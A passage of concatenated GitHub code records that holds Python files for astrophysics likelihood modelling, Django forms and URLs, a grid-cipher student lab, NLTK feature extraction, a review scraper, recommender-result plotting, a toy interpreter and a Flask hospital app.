is True:\n log_det = self._compute_log_det(imap)\n else:\n log_det = 1.\n\n return (-0.5 * log_det) + self._log_likelihood(\n theta, datavector, model\n )\n\n def _compute_log_det(self, imap):\n # TODO: Adapt this to work w/ new DataCube's w/ weight maps!\n # log_det = imap.fitter.compute_marginalization_det(inv_cov=inv_cov, log=True)\n log_det = imap.fitter.compute_marginalization_det(pars=self.meta, log=True)\n\n if log_det == 0:\n print('Warning: determinant is 0. Cannot compute ' +\\\n 'marginalized posterior over intensity basis functions')\n\n return log_det\n\n def setup_vmap(self, theta_pars):\n '''\n theta_pars: dict\n A dict of the sampled mcmc params for both the velocity\n map and the tranformation matrices\n model_name: str\n The model name to use when constructing the velocity map\n '''\n\n try:\n model_name = self.pars['velocity']['model']\n except KeyError:\n model_name = 'default'\n\n # no extras for this func\n return self._setup_vmap(theta_pars, self.meta, model_name)\n\n @classmethod\n def _setup_vmap(cls, theta_pars, meta_pars, model_name):\n '''\n See setup_vmap()\n '''\n\n vmodel = theta_pars.copy()\n\n for name in ['r_unit', 'v_unit']:\n if name in meta_pars['units']:\n vmodel[name] = Unit(meta_pars['units'][name])\n else:\n raise AttributeError(f'pars must have a value for {name}!')\n\n return VelocityMap(model_name, vmodel)\n\n @classmethod\n def _setup_sed(cls, theta_pars, datavector):\n '''\n numba can't handle most interpolators, so create\n a numpy one\n '''\n\n # sed pars that are sample-able\n _sed_pars = ['z', 'R']\n\n # if we are marginalizing over SED pars, modify stored\n # SED with the sample\n line_pars_update = {}\n\n for par in _sed_pars:\n if par in theta_pars:\n line_pars_update[par] = theta_pars[par]\n\n if len(line_pars_update) == 0:\n line_pars_update = None\n\n # NOTE: Right now, this will error if more than one\n # emission lines are stored (as we don't have a line\n # index to pass here), but can improve in future\n sed = datavector.get_sed(line_pars_update=line_pars_update)\n\n return np.array([sed.x, sed.y])\n\n @classmethod\n def _interp1d(cls, table, values, kind='linear'):\n '''\n Interpolate table(value)\n\n table: np.ndarray\n A 2D numpy array with axis=0 being the x-values and\n axis=1 being the function evaluated at x\n values: np.array\n The values to interpolate the table on\n '''\n\n if kind == 'linear':\n # just use numpy linear interpolation, as it works with numba\n interp = np.interp(values, table[0], table[1])\n else:\n raise ValueError('Non-linear interpolations not yet implemented!')\n\n return interp\n\n @abstractmethod\n def _log_likelihood(self, theta, datavector, model):\n '''\n Natural log of the likelihood. Target function for chosen\n sampler\n\n theta: list\n Sampled parameters, order defined by pars_order\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n model: Datacube, etc.\n The model given theta that matches the structure of\n the input datacube\n '''\n raise NotImplementedError('Must use a LogLikelihood subclass ' +\\\n 'that implements _log_likelihood()!')\n\n @abstractmethod\n def _setup_model(self, theta_pars, datavector):\n '''\n A method that creates a model datacube for the given\n theta_pars draw and input datvector. Must be implemented\n for each datavector type\n\n theta_pars: dict\n Dictionary of sampled pars\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n\n returns: model (Datacube, etc.)\n The model given theta that matches the structure of\n the input datacube\n '''\n raise NotImplementedError('Must use a LogLikelihood subclass ' +\\\n 'that implements _setup_model()!')\n\nclass DataCubeLikelihood(LogLikelihood):\n '''\n An implementation of a LogLikelihood for a DataCube datavector\n '''\n\n def _log_likelihood(self, theta, datacube, model):\n '''\n theta: list\n Sampled parameters, order defined by pars_order\n datacube: DataCube\n The datacube datavector, truncated to desired lambda bounds\n model: DataCube\n The model datacube object, truncated to desired lambda bounds\n '''\n\n Nspec = datacube.Nspec\n Nx, Ny = datacube.Nx, datacube.Ny\n\n # a (Nspec, Nx*Ny, Nx*Ny) inverse covariance matrix for the image pixels\n inv_cov = self._setup_inv_cov_list(datacube)\n\n loglike = 0\n\n # can figure out how to remove this for loop later\n # will be fast enough with numba anyway\n for i in range(Nspec):\n\n diff = (datacube.data[i] - model.data[i]).reshape(Nx*Ny)\n chi2 = diff.T.dot(inv_cov[i].dot(diff))\n\n loglike += -0.5*chi2\n\n # NOTE: Actually slower due to extra matrix evals...\n # diff_2 = (datacube.data - model.data).reshape(Nspec, Nx*Ny)\n # chi2_2 = diff_2.dot(inv_cov.dot(diff_2.T))\n # loglike2 = -0.5*chi2_2.trace()\n\n return loglike\n\n def _setup_model(self, theta_pars, datacube):\n '''\n Setup the model datacube given the input datacube datacube\n\n theta_pars: dict\n Dictionary of sampled pars\n datacube: DataCube\n Datavector datacube truncated to desired lambda bounds\n '''\n\n Nx, Ny = datacube.Nx, datacube.Ny\n Nspec = datacube.Nspec\n\n # create grid of pixel centers in image coords\n X, Y = utils.build_map_grid(Nx, Ny)\n\n # create 2D velocity & intensity maps given sampled transformation\n # parameters\n vmap = self.setup_vmap(theta_pars)\n imap = self.setup_imap(theta_pars, datacube)\n\n # TODO: temp for debugging!\n self.imap = imap\n\n try:\n use_numba = self.meta['run_options']['use_numba']\n except KeyError:\n use_numba = False\n\n # evaluate maps at pixel centers in obs plane\n v_array = vmap(\n 'obs', X, Y, normalized=True, use_numba=use_numba\n )\n\n # get both the emission line and continuum image\n i_array, cont_array = imap.render(\n theta_pars, datacube, self.meta, im_type='both'\n )\n\n model_datacube = self._construct_model_datacube(\n theta_pars, v_array, i_array, cont_array, datacube\n )\n\n return model_datacube\n\n def setup_imap(self, theta_pars, datacube):\n '''\n theta_pars: dict\n A dict of the sampled mcmc params for both the velocity\n map and the tranformation matrices\n datacube: DataCube\n Datavector datacube truncated to desired lambda bounds\n '''\n\n # In some instances, the intensity map will not change\n # between samples\n try:\n static_imap = self.meta['_likelihood']['static_imap']\n except KeyError:\n static_imap = False\n\n if static_imap is True:\n if self.meta['_likelihood']['static_imap'] is True:\n return self.meta['_likelihood']['imap']\n\n # if not (or it is the first sample), generate imap and then\n # check if it will be static\n imap = self._setup_imap(theta_pars, datacube, self.meta)\n\n # add static_imap check if not yet set\n if 'static_imap' not in self.meta['_likelihood']:\n self._check_for_static_imap(imap)\n\n return imap\n\n @classmethod\n def _setup_imap(cls, theta_pars, datacube, meta):\n '''\n See setup_imap(). Only runs if a new imap for the sample\n is needed\n '''\n\n # Need to check if any basis func parameters are\n # being sampled over\n pars = meta.copy_with_sampled_pars(theta_pars)\n\n imap_pars = deepcopy(pars['intensity'])\n imap_type = imap_pars['type']\n del imap_pars['type']\n\n return intensity.build_intensity_map(imap_type, datacube, imap_pars)\n\n def _check_for_static_imap(self, imap):\n '''\n Check if given intensity model will require a new imap for each\n sample. If not, internally store first imap and use it for\n future samples\n\n imap: IntensityMap\n The generated intensity map object from _setup_imap()\n '''\n\n try:\n self.meta['_likelihood'].update({\n 'static_imap': imap.is_static,\n 'imap': imap\n })\n except KeyError:\n self.meta['_likelihood'] = {\n 'static_imap': imap.is_static,\n 'imap': imap\n }\n\n return\n\n def _construct_model_datacube(self, theta_pars, v_array, i_array,\n cont_array, datacube):\n '''\n Create the model datacube from model slices, using the evaluated\n velocity and intensity maps, SED, etc.\n\n theta_pars: dict\n A dict of the sampled mcmc params for both the velocity\n map and the tranformation matrices\n v_array: np.array (2D)\n The vmap evaluated at image pixel positions for sampled pars.\n (Must be normalzied)\n i_array: np.array (2D)\n The imap evaluated at image pixel positions for sampled pars\n cont_array: np.array (2D)\n The imap of the fitted or modeled continuum\n datacube: DataCube\n Datavector datacube truncated to desired lambda bounds\n '''\n\n Nspec, Nx, Ny = datacube.shape\n\n data = np.zeros(datacube.shape)\n\n lambdas = np.array(datacube.lambdas)\n\n sed_array = self._setup_sed(theta_pars, datacube)\n\n psf = datacube.get_psf()\n\n # get kinematic redshift correct per imap image pixel\n zfactor = 1. / (1 + v_array)\n\n for i in range(Nspec):\n data[i,:,:] = self._compute_slice_model(\n lambdas[i], sed_array, zfactor, i_array, cont_array,\n psf=psf, pix_scale=datacube.pix_scale\n )\n\n model_datacube = DataCube(\n data=data, pars=datacube.pars\n )\n\n return model_datacube\n\n @classmethod\n def _compute_slice_model(cls, lambdas, sed, zfactor, imap, continuum,\n psf=None, pix_scale=None):\n '''\n Compute datacube slice given lambda range, sed, redshift factor\n per pixel, and the intemsity map\n\n lambdas: tuple\n The wavelength tuple (lambda_blue, lambda_red) for a\n given slice\n sed: np.ndarray\n A 2D numpy array with axis=0 being the lambda values of\n a 1D interpolation table, with axis=1 being the corresponding\n SED values\n zfactor: np.ndarray (2D)\n A 2D numpy array corresponding to the (normalized by c) velocity\n map at each pixel\n imap: np.ndarray (2D)\n An array corresponding to the source intensity map\n at the emission line\n imap: np.ndarray (2D)\n An array corresponding to the continuum model\n psf: galsim.GSObject\n A galsim object representing the PSF to convolve by\n pix_scale: float\n The image pixel scale. Required if convolving by PSF\n '''\n\n # they must come in pairs for PSF convolution\n if (psf is not None) and (pix_scale is None):\n raise Exception('Must pass a pix_scale if convovling by PSF!')\n\n lblue, lred = lambdas[0], lambdas[1]\n\n # Get mean SED vlaue in slice range\n # NOTE: We do it this way as numba won't allow\n # interp1d objects\n sed_b = cls._interp1d(sed, lblue*zfactor)\n sed_r = cls._interp1d(sed, lred*zfactor)\n\n # Numba won't let us use np.mean w/ axis=0\n mean_sed = (sed_b + sed_r) / 2.\n int_sed = (lred - lblue) * mean_sed\n model = imap * int_sed\n\n # TODO: could generalize in future, but for now assume\n # a constant PSF for exposures\n # if (psf is not None) and (np.sum(model) != 0):\n if psf is not None:\n # plt.subplot(131)\n # plt.imshow(model, origin='lower')\n # plt.colorbar()\n # plt.title('pre-psf model')\n # This fails if the model has no flux, which\n # can happen for very wrong redshift samples\n nx, ny = imap.shape[0], imap.shape[1]\n model_im = gs.Image(model, scale=pix_scale)\n gal = gs.InterpolatedImage(model_im)\n conv = gs.Convolve([psf, gal])\n\n model = conv.drawImage(\n nx=ny, ny=nx, method='no_pixel', scale=pix_scale\n ).array\n # plt.subplot(132)\n # plt.imshow(pmodel, origin='lower')\n # plt.colorbar()\n # plt.title('post-psf model')\n # plt.subplot(133)\n # plt.imshow(pmodel-model, origin='lower')\n # plt.colorbar()\n # plt.title('post-pre psf model')\n # plt.show()\n\n # for now, continuum is modeled as lambda-independent\n # TODO: This assumes that the continuum template (if passed)\n # is *post* psf-convolution\n if continuum is not None:\n model += continuum\n\n return model\n\n def _setup_inv_cov_list(self, datacube):\n '''\n Build inverse covariance matrices for slice images\n\n returns: List of (Nx*Ny, Nx*Ny) scipy sparse matrices\n '''\n\n # for now, we'll let each datacube class do this\n # to allow for differences in weightmap definitions\n # between experiments\n\n return datacube.get_inv_cov_list()\n\ndef get_likelihood_types():\n return LIKELIHOOD_TYPES\n\n# NOTE: This is where you must register a new likelihood model\nLIKELIHOOD_TYPES = {\n 'default': DataCubeLikelihood,\n 'datacube': DataCubeLikelihood\n }\n\ndef build_likelihood_model(name, parameters, datavector):\n '''\n name: str\n Name of likelihood model type\n parameters: Pars\n Pars instance that holds all parameters needed for MCMC\n run, including SampledPars and MetaPars\n datavector: DataCube, etc.\n Arbitrary data vector that subclasses from DataVector.\n If DataCube, truncated to desired lambda bounds\n '''\n\n name = name.lower()\n\n if name in LIKELIHOOD_TYPES.keys():\n # User-defined input construction\n likelihood = LIKELIHOOD_TYPES[name](parameters, datavector)\n else:\n raise ValueError(f'{name} is not a registered likelihood model!')\n\n return likelihood\n\ndef main(args):\n\n show = args.show\n\n outdir = os.path.join(utils.TEST_DIR, 'likelihood')\n utils.make_dir(outdir)\n\n true_pars = {\n 'g1': 0.1,\n 'g2': 0.2,\n 'sini': 0.75,\n 'theta_int': np.pi / 3,\n 'v0': 10,\n 'vcirc': 200,\n 'rscale': 5,\n }\n\n mcmc_pars = {\n 'units': {\n 'v_unit': Unit('km / s'),\n 'r_unit': Unit('kpc'),\n },\n 'priors': {\n 'g1': priors.GaussPrior(0., 0.1, clip_sigmas=2),\n 'g2': priors.GaussPrior(0., 0.1, clip_sigmas=2),\n 'theta_int': priors.UniformPrior(0., np.pi),\n 'sini': priors.UniformPrior(0., 1.),\n 'v0': priors.UniformPrior(0, 20),\n 'vcirc': priors.GaussPrior(200, 20, clip_sigmas=3),\n 'rscale': priors.UniformPrior(0, 10),\n },\n 'intensity': {\n # For this test, use truth info\n 'type': 'inclined_exp',\n 'flux': 3.8e4, # counts\n 'hlr': 3.5,\n },\n 'velocity': {\n 'model': 'centered'\n },\n 'run_options': {\n 'use_numba': False,\n }\n }\n\n # create dummy datacube for tests\n data = np.zeros((100,10,10))\n pix_scale = 1\n bandpasses = [gs.Bandpass(\n 1., 'A', blue_limit=1e4, red_limit=2e4)\n for i in range(100)\n ]\n datacube = DataCube(\n data, pix_scale=pix_scale, bandpasses=bandpasses\n )\n\n datacube.set_psf(gs.Gaussian(fwhm=0.8, flux=1.))\n\n sampled_pars = list(true_pars)\n pars = Pars(sampled_pars, mcmc_pars)\n pars_order = pars.sampled.pars_order\n\n print('Creating LogPosterior object w/ default likelihood')\n log_posterior = LogPosterior(pars, datacube, likelihood='datacube')\n\n print('Creating LogPosterior object w/ datacube likelihood')\n log_posterior = LogPosterior(pars, datacube, likelihood='datacube')\n\n print('Calling Logposterior w/ random theta')\n theta = np.random.rand(len(sampled_pars))\n\n return 0\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n if args.test is True:\n print('Starting tests')\n rc = main(args)\n\n if rc == 0:\n print('All tests ran succesfully')\n else:\n print(f'Tests failed with return code of {rc}')\n","repo_name":"sweverett/kl-tools","sub_path":"kl_tools/likelihood.py","file_name":"likelihood.py","file_ext":"py","file_size_in_byte":25191,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34436553391","text":"# uninhm\n# https://atcoder.jp/contests/abc166/tasks/abc166_c\n# implementation, graphs\nn, m = map(int, input().split())\nh = list(map(int, input().split()))\n\nobs = [0]*n\n\nfor _ in range(m):\n a, b = map(lambda x: int(x)-1, input().split())\n if h[a] > h[b]:\n obs[b] = 1;\n elif h[b] > h[a]:\n obs[a] = 1;\n else:\n obs[a] = 1;\n obs[b] = 1;\n\nprint(obs.count(0))\n\n","repo_name":"Vicfred/kyopro","sub_path":"atcoder/abc166C_peaks.py","file_name":"abc166C_peaks.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"72"} +{"seq_id":"29505979758","text":"from django.urls import path\r\nfrom basicapp import views\r\n\r\n# app_name for relative file paths\r\napp_name = 'basicapp'\r\n\r\nurlpatterns = [\r\n path('', views.index, name=\"index\"),\r\n path('users/', views.users, name=\"users\"),\r\n path('formpage/', views.formpage, name=\"form_page\"),\r\n ]\r\n","repo_name":"Strike-F8/user-form","sub_path":"basicforms/basicapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22901798510","text":"text = \"Александр_Шелудянкин_Валерий_Окунев_Данила_Журавлев_ИСБ-119_3\"\ntext_list = []\nfor i in text:\n text_list.append(i)\nn = int(len(text)**0.5) + 1\nm = n\ntable = []\nfor i in range(n):\n table.append([0]*m)\n\nfor i in range(len(table)):\n for j in range(len(table[i])):\n try:\n table[i][j] = text_list.pop(0)\n except IndexError:\n table[i][j] = \"*\"\nfor i in range(len(table)):\n print(table[i])\n\ncoord_dict: dict = {}\n\nfor i in range(len(table)):\n for j in range(len(table[i])):\n coord_dict[table[i][j]] = [i, j]\n\n\ndef encrypted(text: str, coord_dict: dict, table: list):\n encrypted_text = \"\"\n for i in text:\n try:\n encrypted_text += table[coord_dict[i][1]][coord_dict[i][0]]\n except IndexError:\n pass\n return encrypted_text\n\n\nencrypted_text = encrypted(text, coord_dict, table)\n\n\ndef decrypted(encrypted_text: str, coord_dict: dict, table: list):\n decrypted_text = \"\"\n for i in encrypted_text:\n decrypted_text += table[coord_dict[i][0]][coord_dict[i][1]]\n return decrypted_text\n\n\ndecrypted_text = decrypted(text, coord_dict, table)\nprint(encrypted_text)\nprint(decrypted_text)\nprint(f\"{len(encrypted_text)}, {len(decrypted_text)}\")\n\n","repo_name":"OBB-606/MSKZI_6_sem","sub_path":"Lab_1/Lab_1.py","file_name":"Lab_1.py","file_ext":"py","file_size_in_byte":1296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3369329038","text":"from django import forms\nfrom django.core.exceptions import ValidationError\n\nfrom account.models import User\nfrom .choices import get_status\nfrom .models import Flight, Arrival, Delivery\n\n\nclass BaseParcelModelForm(forms.ModelForm):\n\n class Meta:\n widgets = {\n 'track_code': forms.TextInput(attrs={'size': '20'}),\n 'client_code': forms.TextInput(attrs={'size': '12'}),\n 'phone': forms.TextInput(attrs={'size': '18'}),\n 'price': forms.NumberInput(attrs={'style': 'width:6ch', 'readonly': 'readonly'}),\n 'weight': forms.NumberInput(attrs={'style': 'width:9ch'}),\n 'cost_usd': forms.NumberInput(attrs={'style': 'width:8ch', 'readonly': 'readonly'}),\n }\n\n # def clean_client_code(self):\n # client_code = self.cleaned_data['client_code']\n # code_logistics = User.objects.filter(role=1).values_list('code_logistic', flat=True)\n # if client_code not in code_logistics:\n # raise ValidationError(f\"Клиент с кодом {client_code} не существует\")\n # else:\n # return self.cleaned_data['client_code']\n #\n # def clean_phone(self):\n # phone = self.cleaned_data['phone']\n # if phone:\n # phones = User.objects.filter(role=1).values_list('phone', flat=True)\n # if phone not in phones:\n # raise ValidationError(f\"Клиент с телефонным номером {phone} не существует\")\n # else:\n # return self.cleaned_data['phone']\n\n\nclass BoxModelForm(forms.ModelForm):\n\n class Meta:\n widgets = {\n 'code': forms.TextInput(attrs={'size': '12', 'readonly': 'readonly'}),\n 'track_code': forms.TextInput(attrs={'size': '10', 'readonly': 'readonly'}),\n 'weight': forms.NumberInput(attrs={'style': 'width:10ch'}),\n 'comment': forms.Textarea(attrs={'rows': '1', 'cols': '40'}),\n }\n\n\nclass FlightBaseParcelModelForm(forms.ModelForm):\n\n class Meta:\n widgets = {\n 'track_code': forms.TextInput(attrs={'size': '20', 'readonly': 'readonly'}),\n 'client_code': forms.TextInput(attrs={'size': '12'}),\n 'phone': forms.TextInput(attrs={'size': '18'}),\n 'price': forms.NumberInput(attrs={'style': 'width:6ch', 'readonly': 'readonly'}),\n 'weight': forms.NumberInput(attrs={'style': 'width:9ch', 'readonly': 'readonly'}),\n 'cost_usd': forms.NumberInput(attrs={'style': 'width:8ch', 'readonly': 'readonly'}),\n }\n\n\nclass FlightBoxModelForm(forms.ModelForm):\n swap = forms.ModelChoiceField(\n required=False,\n label='Рейс',\n queryset=Flight.objects.filter(status=0)\n )\n\n class Meta:\n widgets = {\n 'number': forms.TextInput(attrs={'size': '4', 'readonly': 'readonly'}),\n 'code': forms.TextInput(attrs={'size': '12', 'readonly': 'readonly'}),\n 'track_code': forms.TextInput(attrs={'size': '10', 'readonly': 'readonly'}),\n 'weight': forms.NumberInput(attrs={'style': 'width:10ch'}),\n 'comment': forms.Textarea(attrs={'rows': '1', 'cols': '40'}),\n }\n\n\nclass FlightModelForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(FlightModelForm, self).__init__(*args, **kwargs)\n self.fields[\"status\"].widget = forms.Select(choices=get_status()[0:3])\n\n class Meta:\n model = Flight\n fields = ('numeration', 'code', 'status',)\n\n\nclass ArrivalModelForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(ArrivalModelForm, self).__init__(*args, **kwargs)\n self.fields[\"status\"].widget = forms.Select(choices=get_status()[2:5])\n\n class Meta:\n model = Arrival\n fields = ('numeration', 'code', 'status',)\n\n\nclass DeliveryModelForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(DeliveryModelForm, self).__init__(*args, **kwargs)\n self.fields[\"status\"].widget = forms.Select(choices=get_status()[4:6])\n\n class Meta:\n model = Delivery\n fields = ('numeration', 'code', 'status',)\n","repo_name":"nbdbkv/primex","sub_path":"flight/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14291264529","text":"import nltk\nfrom nltk.tag import pos_tag, map_tag\n\ndef get_features(text):\n words = []\n # Same steps to start as before\n sentences = nltk.sent_tokenize(text)\n for sentence in sentences:\n words = words + nltk.word_tokenize(sentence)\n\n # part of speech tag each of the words\n pos = pos_tag(words)\n # Sometimes it's helpful to simplify the tags NLTK returns by default.\n # I saw an increase in accuracy if I did this, but you may not\n # depending on the application.\n pos = [map_tag('en-ptb', 'universal', tag) for word, tag in pos]\n # Then, convert the words to lowercase like before\n words = [i.lower() for i in words]\n # Grab the trigrams\n trigrams = nltk.trigrams(words)\n # We need to concatinate the trigrams into a single string to process\n trigrams = [\"%s/%s/%s\" % (i[0], i[1], i[2]) for i in trigrams]\n # Get our final dict rolling\n features = words + pos + trigrams\n # get our feature dict rolling\n features = dict([(i, True) for i in features])\n return features\n\n# Try it out\ntext = \"Transfer the pan to a wire rack to cool for 15 minutes.\"\nfor key, value in get_features(text).items():\n print(key)","repo_name":"Samyak2/recipe-classifier","sub_path":"recipe_parser.py","file_name":"recipe_parser.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18003768317","text":"from time import sleep\nfrom datetime import datetime\n\nfrom sqlalchemy import create_engine, func\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.engine import URL\n\nfrom app.models import Review\nfrom app.flamp_funcs import scrape_flamp\nfrom app import settings\n\n\nurl = URL.create(**settings.DATABASE)\nengine = create_engine(url)\nSession = sessionmaker(bind=engine)\nsession = Session()\nwhile True:\n # проверяем дату и время самого последнего записанного отзыва\n newest_time = session.query(func.max(Review.date)).first()[0]\n flamp_data = scrape_flamp(\n url=settings.FLAMP_URL,\n last_visit_time=newest_time\n )\n for note in flamp_data:\n review = Review(\n link=note['url'],\n name=note['name'],\n date=note['date'],\n score=note['score'],\n text=note['text']\n )\n session.add(review)\n session.commit()\n sleep(60*60*24)\n","repo_name":"Pavel-Maksimov/reviews","sub_path":"review/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"71589804074","text":"import pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\n\ndef plot_rec_results(self, metric_name='recall'):\n \"\"\" self is an instance of Experiment or ExperimentResult \"\"\"\n ir = pd.DataFrame(self.item_rec).T\n ur = pd.DataFrame(self.user_rec).T\n df = ir[[metric_name]] * 100\n axname_itemrec = f\"ItemRec {metric_name}@{self._k1} (x100)\"\n axname_userrec = f'UserRec {metric_name}@{self._c1} (x100)'\n\n df = df.rename(columns={metric_name: axname_itemrec})\n df[axname_userrec] = ur[metric_name] * 100\n df = df.reset_index()\n df['index'] = df['index'].apply(lambda x: x.replace('-Extra', '_ex').replace('-Item', '_item')\n .replace('-User', '_user').replace('-Base', '')\n .replace('-0', '_0').replace('-1', '_1'))\n df['index'] = df['index'].apply(lambda x: 'ItemPopularity-' + x if x in ['Hawkes', 'HP', 'EMA'] else x)\n df['index'] = df['index'].apply(lambda x: 'ItemPopularity-UserPopularity' if x == 'Pop' else x)\n df['index'] = df['index'].apply(lambda x: x.replace('Rand', 'Random-None'))\n df['index'] = df['index'].apply(lambda x: x.replace('-Pop', '-UserPopularity').replace('HP', 'HawkesPoisson'))\n df['Base model'] = df['index'].apply(lambda x: x.split('-')[0])\n df['Intensity modeling'] = df['index'].apply(lambda x: x.split('-')[1] if '-' in x else 'None')\n sns.set(rc={'figure.figsize': (8, 5), \"font.size\": 20, \"axes.titlesize\": 16,\n \"axes.labelsize\": 16, \"xtick.labelsize\": 10, \"ytick.labelsize\": 10},\n style=\"white\")\n markers = {\n 'ItemPopularity': 'X',\n 'Transformer': 'o',\n 'RNN': 'P',\n 'Random': '$RND$',\n 'BPR': '$BPR$',\n 'GraphConv': '$GC$',\n 'GraphConv_ex': '$GC\\'$',\n 'ALS': '$ALS$',\n 'LogisticMF': '$LMF$',\n 'LDA': '$LDA$',\n 'BPR_item': '$BPR_i$',\n 'BPR_user': '$BPR_u$'}\n large = 3000\n big = 1000\n sm = 80\n sizes = {\n 'ItemPopularity': sm,\n 'Transformer': sm,\n 'RNN': sm,\n 'Random': big,\n 'BPR': big,\n 'GraphConv': 600,\n 'GraphConv_ex': big,\n 'ALS': big,\n 'LogisticMF': big,\n 'LDA': big,\n 'BPR_item': big,\n 'BPR_user': big}\n markers.update({x: f\"${x}$\" for x in df['Base model'] if x not in markers})\n sizes.update({x: large for x in df['Base model'] if x not in sizes})\n figure = sns.relplot(\n x=axname_itemrec, y=axname_userrec, style='Base model', size='Base model', sizes=sizes,\n hue_order=['UserPopularity', 'EMA', 'HawkesPoisson', 'Hawkes', 'None'], markers=markers,\n linewidth=0.25, style_order=list(sizes.keys()), size_order=list(sizes.keys()),\n hue='Intensity modeling', data=df, facet_kws={'sharex': False, 'sharey': False}, legend='full')\n ax = figure.fig.axes[0]\n pop = df[df['index'] == 'ItemPopularity-UserPopularity'].iloc[0]\n ax.axvline(x=pop[axname_itemrec], c='grey', linestyle='--', alpha=0.6, lw=1)\n ax.axhline(y=pop[axname_userrec], c='grey', linestyle='--', alpha=0.6, lw=1, label='popularity baseline')\n return figure\n\n\ndef plot_mtch_results(self, logy=True):\n \"\"\" self is an instance of Experiment or ExperimentResult \"\"\"\n fig, ax = plt.subplots(1, 2, figsize=(7, 2.5))\n df = [self.get_mtch_(k=self._k1), self.get_mtch_(c=self._c1)]\n\n xname = [f'ItemRec Prec@{self._k1}', f'UserRec Prec@{self._c1}']\n yname = ['item_ppl', 'user_ppl']\n\n for ax, df, xname, yname in zip(ax, df, xname, yname):\n ax.set_prop_cycle('color', [\n plt.get_cmap('tab20')(i / 20) for i in range(20)])\n if df is not None:\n ax.plot(\n df.loc['prec'].unstack().values.T,\n df.loc[yname].unstack().values.T,\n '.-',\n )\n ax.set_xlabel(xname)\n ax.set_ylabel(yname)\n if logy:\n ax.set_yscale('log')\n ax.axhline(getattr(self, yname + '_baseline'), ls='-.', color='gray')\n fig.legend(\n df.loc['prec'].unstack().index.values.tolist() + [yname + '_baseline'],\n bbox_to_anchor=(0.1, 0.9, 0.8, 0), loc=3, ncol=3,\n mode=\"expand\", borderaxespad=0.)\n fig.subplots_adjust(wspace=0.25)\n return fig\n","repo_name":"awslabs/recurrent-intensity-model-experiments","sub_path":"src/rime/util/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"72"} +{"seq_id":"3660841736","text":"import ply.lex as lex\nimport ply.yacc as yacc\nimport parserrules\nimport tokenrules\nfrom enviroment import *\nfrom ast import errors_list\nimport ast\n\nif __name__ == \"__main__\":\n lexer = lex.lex(module=tokenrules)\n parser = yacc.yacc(module=parserrules)\n\n code = '''\n $1 <- {\n $3\n .50 eq T please ~500\n $2\n mr eq F please ~100\n $1\n ml\n ~100\n ml eq F please ~200\n $1\n mr\n ~200\n mf eq F please ~300\n $1\n mb\n ~300\n mb eq F please ~400\n $1\n mf\n ~400\n ~500\n }\n ,30 <- -1\n .50 <- F\n $2 <- {\n ,#30\n ,10:,30 - 0 <- cur_x\n ,10:,30 - 1 <- cur_y\n }\n $3 <- {\n ,40 <- 0\n .50 <- F\n ~700\n ,10:,40 - 0\n ,10:,40 - 1\n ,10:,40 - 0 neq cur_x please ~600\n ,10:,40 - 1 neq cur_y please ~600\n .50 <- T\n .50 eq T please ~800\n ~600\n ,#40\n ,40 less ,30 please ~700\n ~800\n .50\n }\n $1\n while tp {\n $1\n }\n '''\n\n lab, cur = load_map('../lab.txt')\n print(cur)\n print(lab)\n if cur:\n ast.robot = Robot(cur[0], cur[1], 2, lab)\n else:\n ast.robot = Robot(0, 0, 0, lab)\n\n astree = parser.parse(code)\n if len(errors_list) != 0:\n for error in errors_list:\n print(error)\n else:\n print('finish build ast:')\n astree.exec()\n\n print(set(ast.robot.known_lab))\n","repo_name":"Bragaman/UselessTranslator","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24790826708","text":"from Entity.Hospital import *\nfrom Entity.Consulta import *\nfrom Entity.Paciente import *\nfrom Entity.PacienteNinno import *\nfrom Entity.PacienteJoven import *\nfrom Entity.PacienteAnciano import *\n\nfrom Service.PacienteService import *\n\nfrom Utility.CargaDatos import *\n\nfrom flask import Flask\nfrom flask import render_template\nfrom flask_bootstrap import Bootstrap\n\napp = Flask(__name__)\nBootstrap(app)\n\nlista_consultas = cargar_consultas()\nlista_pacientes = cargar_pacientes()\nlista_hospitales = cargar_hospitales()\n\n\n\n# ****************** Ruteo pagina principal **************************\n@app.route('/')\ndef index(): \n return render_template('base.html')\n\n\n@app.route('/hospital')\ndef verHospital(): \n for hos in hospital:\n hos.ver_lista_de_consultas()\n hos.ver_lista_de_pacientes()\n return render_template('hospital.html', lista_pacientes = lista_pacientes, lista_consultas = lista_consultas)\n\n@app.route('/hospital/mayor-riesgo/')\n@app.route('/hospital/mayor-riesgo/<int:n_historia>/')\ndef verMayoresRiesgos(n_historia = None): \n lista_riesgos = listarPacientesMayorRiesgo(lista_pacientes, n_historia)\n return render_template('hospital.html', lista_pacientes = lista_riesgos)\n\n@app.route('/prioridad')\ndef verPrioridad(): \n for hos in hospital:\n lista_pacientes_prioridad = prioridad_pacientes(lista_pacientes)\n return render_template('prioridad.html', 